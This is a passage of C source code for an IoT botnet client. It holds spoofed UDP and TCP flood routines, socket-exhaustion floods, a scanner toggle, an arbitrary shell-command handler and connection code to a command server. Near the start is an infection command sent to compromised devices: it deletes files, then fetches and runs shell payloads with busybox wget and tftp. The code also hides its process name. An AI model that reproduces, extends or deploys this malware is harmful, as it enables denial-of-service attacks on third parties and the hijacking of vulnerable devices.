if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
980
fds[i].state = 8;
981
}
982
break;
983
984
case 8:
985
{
986
//thx spencer pusC fgt
987
if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
988
989
if(send(fds[i].fd, "cd /tmp || cd /var/run || cd /dev/shm || cd /mnt || cd /var;rm -f *;busybox wget http:///.sh; sh .sh; wget1 http:///.sh; sh .sh; busybox tftp -r tftp.sh -g ; sh tftp.sh; busybox tftp -c get tftp2.sh; sh tftp2.sh\r\n", 284, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; memset(fds[i].sockbuf, 0, 1024); continue; }
990
991
if(fds[i].totalTimeout + 45 < time(NULL))
992
{
993
sclose(fds[i].fd);
994
fds[i].state = 0;
995
fds[i].complete = 1;
996
}
997
}
998
break;
999
}
1000
}
1001
}
1002
}
1003
1004
// ___ ___ ___ _ _
1005
// /\ /\ / \/ _ \ / __\ | ___ ___ __| |
1006
// / / \ \/ /\ / /_)/ / _\ | |/ _ \ / _ \ / _` |
1007
// \ \_/ / /_// ___/ / / | | (_) | (_) | (_| |
1008
// \___/___,'\/ \/ |_|\___/ \___/ \__,_|
1009
1010
void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval)
1011
{
1012
struct sockaddr_in dest_addr;
1013
1014
dest_addr.sin_family = AF_INET;
1015
if(port == 0) dest_addr.sin_port = rand_cmwc();
1016
else dest_addr.sin_port = htons(port);
1017
if(getHost(target, &dest_addr.sin_addr)) return;
1018
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1019
1020
register unsigned int pollRegister;
1021
pollRegister = pollinterval;
1022
1023
if(spoofit == 32)
1024
{
1025
int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
1026
if(!sockfd)
1027
{
1028
sockprintf(mainCommSock, "Failed opening raw socket.");
1029
return;
1030
}
1031
1032
unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
1033
if(buf == NULL) return;
1034
memset(buf, 0, packetsize + 1);
1035
makeRandomStr(buf, packetsize);
1036
1037
int end = time(NULL) + timeEnd;
1038
register unsigned int i = 0;
1039
while(1)
1040
{
1041
sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1042
1043
if(i == pollRegister)
1044
{
1045
if(port == 0) dest_addr.sin_port = rand_cmwc();
1046
if(time(NULL) > end) break;
1047
i = 0;
1048
continue;
1049
}
1050
i++;
1051
}
1052
} else {
1053
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
1054
if(!sockfd)
1055
{
1056
sockprintf(mainCommSock, "Failed opening raw socket.");
1057
//sockprintf(mainCommSock, "REPORT %s:%s:%s", inet_ntoa(*(struct in_addr *)&(fds[i].ip)), usernames[fds[i].usernameInd], passwords[fds[i].passwordInd]);
1058
return;
1059
}
1060
1061
int tmp = 1;
1062
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
1063
{
1064
sockprintf(mainCommSock, "Failed setting raw headers mode.");
1065
return;
1066
}
1067
1068
int counter = 50;
1069
while(counter--)
1070
{
1071
srand(time(NULL) ^ rand_cmwc());
1072
init_rand(rand());
1073
}
1074
1075
in_addr_t netmask;
1076
1077
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
1078
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
1079
1080
unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
1081
struct iphdr *iph = (struct iphdr *)packet;
1082
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
1083
1084
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
1085
1086
udph->len = htons(sizeof(struct udphdr) + packetsize);
1087
udph->source = rand_cmwc();
1088
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
1089
udph->check = 0;
1090
1091
makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
1092
1093
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1094
1095
int end = time(NULL) + timeEnd;
1096
register unsigned int i = 0;
1097
while(1)
1098
{
1099
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1100
1101
udph->source = rand_cmwc();
1102
udph->dest = (port == 0 ? rand_cmwc() : htons(port));
1103
iph->id = rand_cmwc();
1104
iph->saddr = htonl( getRandomIP(netmask) );
1105
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1106
1107
if(i == pollRegister)
1108
{
1109
if(time(NULL) > end) break;
1110
i = 0;
1111
continue;
1112
}
1113
i++;
1114
}
1115
}
1116
}
1117
1118
// _____ ___ ___ ___ _ _
1119
// /__ \/ __\ / _ \ / __\ | ___ ___ __| |
1120
// / /\/ / / /_)/ / _\ | |/ _ \ / _ \ / _` |
1121
// / / / /___/ ___/ / / | | (_) | (_) | (_| |
1122
// \/ \____/\/ \/ |_|\___/ \___/ \__,_|
1123
1124
void sendTCP(unsigned char *target, int port, int timeEnd, int spoofit, unsigned char *flags, int packetsize, int pollinterval)
1125
{
1126
register unsigned int pollRegister;
1127
pollRegister = pollinterval;
1128
1129
struct sockaddr_in dest_addr;
1130
1131
dest_addr.sin_family = AF_INET;
1132
if(port == 0) dest_addr.sin_port = rand_cmwc();
1133
else dest_addr.sin_port = htons(port);
1134
if(getHost(target, &dest_addr.sin_addr)) return;
1135
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1136
1137
int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
1138
if(!sockfd)
1139
{
1140
sockprintf(mainCommSock, "Failed opening raw socket.");
1141
return;
1142
}
1143
1144
int tmp = 1;
1145
if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
1146
{
1147
sockprintf(mainCommSock, "Failed setting raw headers mode.");
1148
return;
1149
}
1150
1151
in_addr_t netmask;
1152
1153
if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
1154
else netmask = ( ~((1 << (32 - spoofit)) - 1) );
1155
1156
unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
1157
struct iphdr *iph = (struct iphdr *)packet;
1158
struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
1159
1160
makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
1161
1162
tcph->source = rand_cmwc();
1163
tcph->seq = rand_cmwc();
1164
tcph->ack_seq = 0;
1165
tcph->doff = 5;
1166
1167
if(!strcmp(flags, "all"))
1168
{
1169
tcph->syn = 1;
1170
tcph->rst = 1;
1171
tcph->fin = 1;
1172
tcph->ack = 1;
1173
tcph->psh = 1;
1174
} else {
1175
unsigned char *pch = strtok(flags, ",");
1176
while(pch)
1177
{
1178
if(!strcmp(pch, "syn"))
1179
{
1180
tcph->syn = 1;
1181
} else if(!strcmp(pch, "rst"))
1182
{
1183
tcph->rst = 1;
1184
} else if(!strcmp(pch, "fin"))
1185
{
1186
tcph->fin = 1;
1187
} else if(!strcmp(pch, "ack"))
1188
{
1189
tcph->ack = 1;
1190
} else if(!strcmp(pch, "psh"))
1191
{
1192
tcph->psh = 1;
1193
} else {
1194
sockprintf(mainCommSock, "Invalid flag \"%s\"", pch);
1195
}
1196
pch = strtok(NULL, ",");
1197
}
1198
}
1199
1200
tcph->window = rand_cmwc();
1201
tcph->check = 0;
1202
tcph->urg_ptr = 0;
1203
tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
1204
tcph->check = tcpcsum(iph, tcph);
1205
1206
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1207
1208
int end = time(NULL) + timeEnd;
1209
register unsigned int i = 0;
1210
while(1)
1211
{
1212
sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1213
1214
iph->saddr = htonl( getRandomIP(netmask) );
1215
iph->id = rand_cmwc();
1216
tcph->seq = rand_cmwc();
1217
tcph->source = rand_cmwc();
1218
tcph->check = 0;
1219
tcph->check = tcpcsum(iph, tcph);
1220
iph->check = csum ((unsigned short *) packet, iph->tot_len);
1221
1222
if(i == pollRegister)
1223
{
1224
if(time(NULL) > end) break;
1225
i = 0;
1226
continue;
1227
}
1228
i++;
1229
}
1230
}
1231
1232
1233
// __ __ ___ _ _
1234
// \ \ /\ /\ /\ \ \/\ /\ / __\ | ___ ___ __| |
1235
// \ \/ / \ \/ \/ / //_/ / _\ | |/ _ \ / _ \ / _` |
1236
// /\_/ /\ \_/ / /\ / __ \ / / | | (_) | (_) | (_| |
1237
// \___/ \___/\_\ \/\/ \/ \/ |_|\___/ \___/ \__,_|
1238
1239
void sendJUNK(unsigned char *ip, int port, int end_time)
1240
{
1241
1242
int max = getdtablesize() / 2, i;
1243
1244
struct sockaddr_in dest_addr;
1245
dest_addr.sin_family = AF_INET;
1246
dest_addr.sin_port = htons(port);
1247
if(getHost(ip, &dest_addr.sin_addr)) return;
1248
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1249
1250
struct state_t
1251
{
1252
int fd;
1253
uint8_t state;
1254
} fds[max];
1255
memset(fds, 0, max * (sizeof(int) + 1));
1256
1257
fd_set myset;
1258
struct timeval tv;
1259
socklen_t lon;
1260
int valopt, res;
1261
1262
unsigned char *watwat = malloc(1024);
1263
memset(watwat, 0, 1024);
1264
1265
int end = time(NULL) + end_time;
1266
while(end > time(NULL))
1267
{
1268
for(i = 0; i < max; i++)
1269
{
1270
switch(fds[i].state)
1271
{
1272
case 0:
1273
{
1274
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
1275
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
1276
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
1277
else fds[i].state = 1;
1278
}
1279
break;
1280
1281
case 1:
1282
{
1283
FD_ZERO(&myset);
1284
FD_SET(fds[i].fd, &myset);
1285
tv.tv_sec = 0;
1286
tv.tv_usec = 10000;
1287
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
1288
if(res == 1)
1289
{
1290
lon = sizeof(int);
1291
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
1292
if(valopt)
1293
{
1294
close(fds[i].fd);
1295
fds[i].state = 0;
1296
} else {
1297
fds[i].state = 2;
1298
}
1299
} else if(res == -1)
1300
{
1301
close(fds[i].fd);
1302
fds[i].state = 0;
1303
}
1304
}
1305
break;
1306
1307
case 2:
1308
{
1309
makeRandomStr(watwat, 1024);
1310
if(send(fds[i].fd, watwat, 1024, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
1311
{
1312
close(fds[i].fd);
1313
fds[i].state = 0;
1314
}
1315
}
1316
break;
1317
}
1318
}
1319
}
1320
}
1321
1322
// _ _ ___ _ _
1323
// /\ /\___ | | __| | / __\ | ___ ___ __| |
1324
// / /_/ / _ \| |/ _` | / _\ | |/ _ \ / _ \ / _` |
1325
// / __ / (_) | | (_| | / / | | (_) | (_) | (_| |
1326
// \/ /_/ \___/|_|\__,_| \/ |_|\___/ \___/ \__,_|
1327
1328
void sendHOLD(unsigned char *ip, int port, int end_time)
1329
{
1330
1331
int max = getdtablesize() / 2, i;
1332
1333
struct sockaddr_in dest_addr;
1334
dest_addr.sin_family = AF_INET;
1335
dest_addr.sin_port = htons(port);
1336
if(getHost(ip, &dest_addr.sin_addr)) return;
1337
memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1338
1339
struct state_t
1340
{
1341
int fd;
1342
uint8_t state;
1343
} fds[max];
1344
memset(fds, 0, max * (sizeof(int) + 1));
1345
1346
fd_set myset;
1347
struct timeval tv;
1348
socklen_t lon;
1349
int valopt, res;
1350
1351
unsigned char *watwat = malloc(1024);
1352
memset(watwat, 0, 1024);
1353
1354
int end = time(NULL) + end_time;
1355
while(end > time(NULL))
1356
{
1357
for(i = 0; i < max; i++)
1358
{
1359
switch(fds[i].state)
1360
{
1361
case 0:
1362
{
1363
fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
1364
fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
1365
if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
1366
else fds[i].state = 1;
1367
}
1368
break;
1369
1370
case 1:
1371
{
1372
FD_ZERO(&myset);
1373
FD_SET(fds[i].fd, &myset);
1374
tv.tv_sec = 0;
1375
tv.tv_usec = 10000;
1376
res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
1377
if(res == 1)
1378
{
1379
lon = sizeof(int);
1380
getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
1381
if(valopt)
1382
{
1383
close(fds[i].fd);
1384
fds[i].state = 0;
1385
} else {
1386
fds[i].state = 2;
1387
}
1388
} else if(res == -1)
1389
{
1390
close(fds[i].fd);
1391
fds[i].state = 0;
1392
}
1393
}
1394
break;
1395
1396
case 2:
1397
{
1398
FD_ZERO(&myset);
1399
FD_SET(fds[i].fd, &myset);
1400
tv.tv_sec = 0;
1401
tv.tv_usec = 10000;
1402
res = select(fds[i].fd+1, NULL, NULL, &myset, &tv);
1403
if(res != 0)
1404
{
1405
close(fds[i].fd);
1406
fds[i].state = 0;
1407
}
1408
}
1409
break;
1410
}
1411
}
1412
}
1413
}
1414
1415
/*
1416
// __ _ __ _ _
1417
// / _\ ___ _ __ __| | /__\ __ ___ __ _(_) |
1418
// \ \ / _ \ '_ \ / _` | /_\| '_ ` _ \ / _` | | |
1419
// _\ \ __/ | | | (_| | //__| | | | | | (_| | | |
1420
// \__/\___|_| |_|\__,_| \__/|_| |_| |_|\__,_|_|_|
1421
1422
void sendEmail(unsigned char *email, unsigned char *host, unsigned char *subject, unsigned char *message)
1423
{
1424
unsigned char buffer[1024];
1425
memset(buffer, 0, 1024);
1426
1427
int fd = socket(AF_INET, SOCK_STREAM, 0);
1428
if(!connectTimeout(fd, host, 25, 30)) { close(fd); return; }
1429
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1430
if(strstr(buffer, "220 ") == NULL) { close(fd); return; }
1431
1432
if(send(fd, "HELO rastrent.com\r\n", 19, MSG_NOSIGNAL) != 19) { close(fd); return; }
1433
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1434
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
1435
memset(buffer, 0, 1024);
1436
1437
if(send(fd, "MAIL FROM: <[email protected]>\r\n", 33, MSG_NOSIGNAL) != 33) { close(fd); return; }
1438
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1439
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
1440
memset(buffer, 0, 1024);
1441
1442
if(send(fd, "RCPT TO: <", 10, MSG_NOSIGNAL) != 10) { close(fd); return; }
1443
if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
1444
if(send(fd, ">\r\n", 3, MSG_NOSIGNAL) != 3) { close(fd); return; }
1445
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1446
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
1447
memset(buffer, 0, 1024);
1448
1449
if(send(fd, "DATA\r\n", 6, MSG_NOSIGNAL) != 6) { close(fd); return; }
1450
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1451
if(strstr(buffer, "354 ") == NULL) { close(fd); return; }
1452
memset(buffer, 0, 1024);
1453
1454
if(send(fd, "To: ", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
1455
if(send(fd, email, strlen(email), MSG_NOSIGNAL) != strlen(email)) { close(fd); return; }
1456
if(send(fd, "\r\nFrom: [email protected]\r\nSubject: ", 38, MSG_NOSIGNAL) != 38) { close(fd); return; }
1457
if(send(fd, subject, strlen(subject), MSG_NOSIGNAL) != strlen(subject)) { close(fd); return; }
1458
if(send(fd, "\r\n\r\n", 4, MSG_NOSIGNAL) != 4) { close(fd); return; }
1459
if(send(fd, message, strlen(message), MSG_NOSIGNAL) != strlen(message)) { close(fd); return; }
1460
if(send(fd, "\r\n.\r\n", 5, MSG_NOSIGNAL) != 5) { close(fd); return; }
1461
if(fdgets(buffer, 1024, fd) == NULL) { close(fd); return; }
1462
if(strstr(buffer, "250 ") == NULL) { close(fd); return; }
1463
memset(buffer, 0, 1024);
1464
1465
send(fd, "QUIT\r\n", 6, MSG_NOSIGNAL);
1466
1467
close(fd);
1468
return;
1469
} */
1470
1471
// _____ __ ___ _
1472
// \_ \/__\ / __\ /\/\ __ _(_)_ __
1473
// / /\/ \// / / / \ / _` | | '_ \
1474
// /\/ /_/ _ \/ /___ / /\/\ \ (_| | | | | |
1475
// \____/\/ \_/\____/ \/ \/\__,_|_|_| |_|
1476
1477
void processCmd(int argc, unsigned char *argv[])
1478
{
1479
int x;
1480
if(!strcmp(argv[0], "PING"))
1481
{
1482
sockprintf(mainCommSock, "PONG!");
1483
return;
1484
}
1485
1486
if(!strcmp(argv[0], "GETLOCALIP"))
1487
{
1488
sockprintf(mainCommSock, "My IP: %s", inet_ntoa(ourIP));
1489
return;
1490
}
1491
1492
if(!strcmp(argv[0], "SCANNER"))
1493
{
1494
if(argc != 2)
1495
{
1496
sockprintf(mainCommSock, "SCANNER ON | OFF");
1497
return;
1498
}
1499
1500
if(!strcmp(argv[1], "OFF"))
1501
{
1502
if(scanPid == 0) return;
1503
kill(scanPid, 9);
1504
printf("SCANNER STOPPED!\n");
1505
scanPid = 0;
1506
}
1507
1508
if(!strcmp(argv[1], "ON"))
1509
{
1510
if(scanPid != 0) return;
1511
uint32_t parent;
1512
parent = fork();
1513
printf("SCANNER STARTED!\n");
1514
if (parent > 0) { scanPid = parent; return;}
1515
else if(parent == -1) return;
1516
1517
StartTheLelz();
1518
_exit(0);
1519
}
1520
}
1521
/*
1522
1523
if(!strcmp(argv[0], "EMAIL"))
1524
{
1525
if(argc < 5)
1526
{
1527
//sockprintf(mainCommSock, "EMAIL <target email> <mx host> <subject no spaces> <message no spaces>");
1528
return;
1529
}
1530
1531
unsigned char *target = argv[1];
1532
unsigned char *host = argv[2];
1533
unsigned char *subject = argv[3];
1534
unsigned char *message = argv[4];
1535
1536
if (listFork()) { return; }
1537
1538
sendEmail(target, host, subject, message);
1539
close(mainCommSock);
1540
1541
_exit(0);
1542
}
1543
*/
1544
1545
if(!strcmp(argv[0], "HOLD"))
1546
{
1547
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
1548
{
1549
//sockprintf(mainCommSock, "HOLD <ip> <port> <time>");
1550
return;
1551
}
1552
1553
unsigned char *ip = argv[1];
1554
int port = atoi(argv[2]);
1555
int time = atoi(argv[3]);
1556
1557
if(strstr(ip, ",") != NULL)
1558
{
1559
unsigned char *hi = strtok(ip, ",");
1560
while(hi != NULL)
1561
{
1562
if(!listFork())
1563
{
1564
sendHOLD(hi, port, time);
1565
_exit(0);
1566
}
1567
hi = strtok(NULL, ",");
1568
}
1569
} else {
1570
if (listFork()) { return; }
1571
1572
sendHOLD(ip, port, time);
1573
_exit(0);
1574
}
1575
}
1576
1577
if(!strcmp(argv[0], "JUNK"))
1578
{
1579
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
1580
{
1581
//sockprintf(mainCommSock, "JUNK <ip> <port> <time>");
1582
return;
1583
}
1584
1585
unsigned char *ip = argv[1];
1586
int port = atoi(argv[2]);
1587
int time = atoi(argv[3]);
1588
1589
if(strstr(ip, ",") != NULL)
1590
{
1591
unsigned char *hi = strtok(ip, ",");
1592
while(hi != NULL)
1593
{
1594
if(!listFork())
1595
{
1596
sendJUNK(hi, port, time);
1597
close(mainCommSock);
1598
_exit(0);
1599
}
1600
hi = strtok(NULL, ",");
1601
}
1602
} else {
1603
if (listFork()) { return; }
1604
1605
sendJUNK(ip, port, time);
1606
_exit(0);
1607
}
1608
}
1609
1610
if(!strcmp(argv[0], "UDP"))
1611
{
1612
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1))
1613
{
1614
//sockprintf(mainCommSock, "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <packet size (1 to 65500)> (time poll interval, default 10)");
1615
return;
1616
}
1617
1618
unsigned char *ip = argv[1];
1619
int port = atoi(argv[2]);
1620
int time = atoi(argv[3]);
1621
int spoofed = atoi(argv[4]);
1622
int packetsize = atoi(argv[5]);
1623
int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
1624
1625
if(strstr(ip, ",") != NULL)
1626
{
1627
unsigned char *hi = strtok(ip, ",");
1628
while(hi != NULL)
1629
{
1630
if(!listFork())
1631
{
1632
sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
1633
_exit(0);
1634
}
1635
hi = strtok(NULL, ",");
1636
}
1637
} else {
1638
if (listFork()) { return; }
1639
1640
sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
1641
_exit(0);
1642
}
1643
}
1644
1645
if(!strcmp(argv[0], "TCP"))
1646
{
1647
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
1648
{
1649
//sockprintf(mainCommSock, "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)");
1650
return;
1651
}
1652
1653
unsigned char *ip = argv[1];
1654
int port = atoi(argv[2]);
1655
int time = atoi(argv[3]);
1656
int spoofed = atoi(argv[4]);
1657
unsigned char *flags = argv[5];
1658
1659
int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
1660
int psize = argc > 6 ? atoi(argv[6]) : 0;
1661
1662
if(strstr(ip, ",") != NULL)
1663
{
1664
unsigned char *hi = strtok(ip, ",");
1665
while(hi != NULL)
1666
{
1667
if(!listFork())
1668
{
1669
sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
1670
_exit(0);
1671
}
1672
hi = strtok(NULL, ",");
1673
}
1674
} else {
1675
if (listFork()) { return; }
1676
1677
sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
1678
_exit(0);
1679
}
1680
}
1681
1682
if(!strcmp(argv[0], "KILLATTK"))
1683
{
1684
int killed = 0;
1685
unsigned long i;
1686
for (i = 0; i < numpids; i++) {
1687
if (pids[i] != 0 && pids[i] != getpid()) {
1688
kill(pids[i], 9);
1689
killed++;
1690
}
1691
}
1692
1693
if(killed > 0)
1694
{
1695
//sockprintf(mainCommSock, "Killed %d.", killed);
1696
} else {
1697
//sockprintf(mainCommSock, "None Killed.");
1698
}
1699
}
1700
1701
if(!strcmp(argv[0], "LOLNOGTFO"))
1702
{
1703
exit(0);
1704
}
1705
}
1706
1707
int initConnection()
1708
{
1709
unsigned char server[4096];
1710
memset(server, 0, 4096);
1711
if(mainCommSock) { close(mainCommSock); mainCommSock = 0; } //if da sock initialized then close dat
1712
if(currentServer + 1 == SERVER_LIST_SIZE) currentServer = 0;
1713
else currentServer++;
1714
1715
strcpy(server, commServer[currentServer]);
1716
int port = 6667;
1717
if(strchr(server, ':') != NULL)
1718
{
1719
port = atoi(strchr(server, ':') + 1);
1720
*((unsigned char *)(strchr(server, ':'))) = 0x0;
1721
}
1722
1723
mainCommSock = socket(AF_INET, SOCK_STREAM, 0);
1724
1725
if(!connectTimeout(mainCommSock, server, port, 30)) return 1;
1726
1727
return 0;
1728
}
1729
1730
int getOurIP()
1731
{
1732
int sock = socket(AF_INET, SOCK_DGRAM, 0);
1733
if(sock == -1) return 0;
1734
1735
struct sockaddr_in serv;
1736
memset(&serv, 0, sizeof(serv));
1737
serv.sin_family = AF_INET;
1738
serv.sin_addr.s_addr = inet_addr("8.8.8.8");
1739
serv.sin_port = htons(53);
1740
1741
int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
1742
if(err == -1) return 0;
1743
1744
struct sockaddr_in name;
1745
socklen_t namelen = sizeof(name);
1746
err = getsockname(sock, (struct sockaddr*) &name, &namelen);
1747
if(err == -1) return 0;
1748
1749
ourIP.s_addr = name.sin_addr.s_addr;
1750
1751
int cmdline = open("/proc/net/route", O_RDONLY);
1752
char linebuf[4096];
1753
while(fdgets(linebuf, 4096, cmdline) != NULL)
1754
{
1755
if(strstr(linebuf, "\t00000000\t") != NULL)
1756
{
1757
unsigned char *pos = linebuf;
1758
while(*pos != '\t') pos++;
1759
*pos = 0;
1760
break;
1761
}
1762
memset(linebuf, 0, 4096);
1763
}
1764
close(cmdline);
1765
1766
if(*linebuf)
1767
{
1768
int i;
1769
struct ifreq ifr;
1770
strcpy(ifr.ifr_name, linebuf);
1771
ioctl(sock, SIOCGIFHWADDR, &ifr);
1772
for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
1773
}
1774
1775
close(sock);
1776
}
1777
1778
char *getBuild()
1779
{
1780
#ifdef MIPS_BUILD
1781
return "MIPS";
1782
#elif MIPSEL_BUILD
1783
return "MIPSEL";
1784
#elif X86_BUILD
1785
return "X86";
1786
#elif ARM_BUILD
1787
return "ARM";
1788
#elif PPC_BUILD
1789
return "POWERPC";
1790
#else
1791
return "ART OF WAR";
1792
#endif
1793
}
1794
1795
int main(int argc, unsigned char *argv[])
1796
{
1797
char *mynameis = "";
1798
if(SERVER_LIST_SIZE <= 0) return 0;
1799
printf("BUILD %s\n", getBuild());
1800
strncpy(argv[0],"",strlen(argv[0]));
1801
argv[0] = "";
1802
prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
1803
srand(time(NULL) ^ getpid());
1804
init_rand(time(NULL) ^ getpid());
1805
pid_t pid1;
1806
pid_t pid2;
1807
int status;
1808
1809
getOurIP();
1810
1811
if (pid1 = fork()) {
1812
waitpid(pid1, &status, 0);
1813
exit(0);
1814
} else if (!pid1) {
1815
if (pid2 = fork()) {
1816
exit(0);
1817
} else if (!pid2) {
1818
} else {
1819
//zprintf("fork failed\n");
1820
}
1821
} else {
1822
//zprintf("fork failed\n");
1823
}
1824
1825
setsid();
1826
chdir("/");
1827
1828
signal(SIGPIPE, SIG_IGN);
1829
1830
while(1)
1831
{
1832
if(initConnection()) { sleep(5); continue; }
1833
1834
sockprintf(mainCommSock, "BUILD %s", getBuild());
1835
1836
char commBuf[4096];
1837
int got = 0;
1838
int i = 0;
1839
while((got = recvLine(mainCommSock, commBuf, 4096)) != -1)
1840
{
1841
for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
1842
unsigned int *newpids, on;
1843
for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
1844
pids[on - 1] = 0;
1845
numpids--;
1846
newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
1847
for (on = 0; on < numpids; on++) newpids[on] = pids[on];
1848
free(pids);
1849
pids = newpids;
1850
}
1851
1852
commBuf[got] = 0x00;
1853
1854
trim(commBuf);
1855
1856
if(strstr(commBuf, "PING") == commBuf)
1857
{
1858
sockprintf(mainCommSock, "PONG");
1859
continue;
1860
}
1861
1862
if(strstr(commBuf, "DUP") == commBuf) exit(0);
1863
1864
unsigned char *message = commBuf;
1865
1866
if(*message == '!')
1867
{
1868
unsigned char *nickMask = message + 1;
1869
while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
1870
if(*nickMask == 0x00) continue;
1871
*(nickMask) = 0x00;
1872
nickMask = message + 1;
1873
1874
message = message + strlen(nickMask) + 2;
1875
while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
1876
1877
unsigned char *command = message;
1878
while(*message != ' ' && *message != 0x00) message++;
1879
*message = 0x00;
1880
message++;
1881
1882
unsigned char *tmpcommand = command;
1883
while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
1884
1885
if(strcmp(command, "SH") == 0)
1886
{
1887
unsigned char buf[1024];
1888
int command;
1889
if (listFork()) continue;
1890
memset(buf, 0, 1024);
1891
szprintf(buf, "%s 2>&1", message);
1892
command = fdpopen(buf, "r");
1893
while(fdgets(buf, 1024, command) != NULL)
1894
{
1895
trim(buf);
1896
// sockprintf(mainCommSock, "%s", buf);
1897
memset(buf, 0, 1024);
1898
sleep(1);
1899
}
1900
fdpclose(command);
1901
exit(0);
1902
}
1903
1904
unsigned char *params[10];
1905
int paramsCount = 1;
1906
unsigned char *pch = strtok(message, " ");
1907
params[0] = command;
1908
1909
while(pch)
1910
{
1911
if(*pch != '\n')
1912
{
1913
params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
1914
memset(params[paramsCount], 0, strlen(pch) + 1);
1915
strcpy(params[paramsCount], pch);
1916
paramsCount++;
1917
}
1918
pch = strtok(NULL, " ");
1919
}
1920
1921
processCmd(paramsCount, params);
1922
1923
if(paramsCount > 1)
1924
{
